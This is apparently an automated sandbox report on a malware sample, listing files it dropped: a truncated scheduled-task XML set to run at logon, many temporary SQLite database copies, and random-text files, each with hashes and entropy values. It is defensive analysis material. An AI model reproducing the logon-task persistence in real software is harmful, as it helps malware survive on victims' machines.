Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp872E.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp873F.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8750.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8760.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8781.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8791.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA2B.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA4B.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA4C.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA5C.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA6D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA7E.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA7F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA8F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBD77.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBD97.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBD98.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBDA9.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBDBA.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBDCA.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBDDB.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCD13.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmpCD24.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmpCD25.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
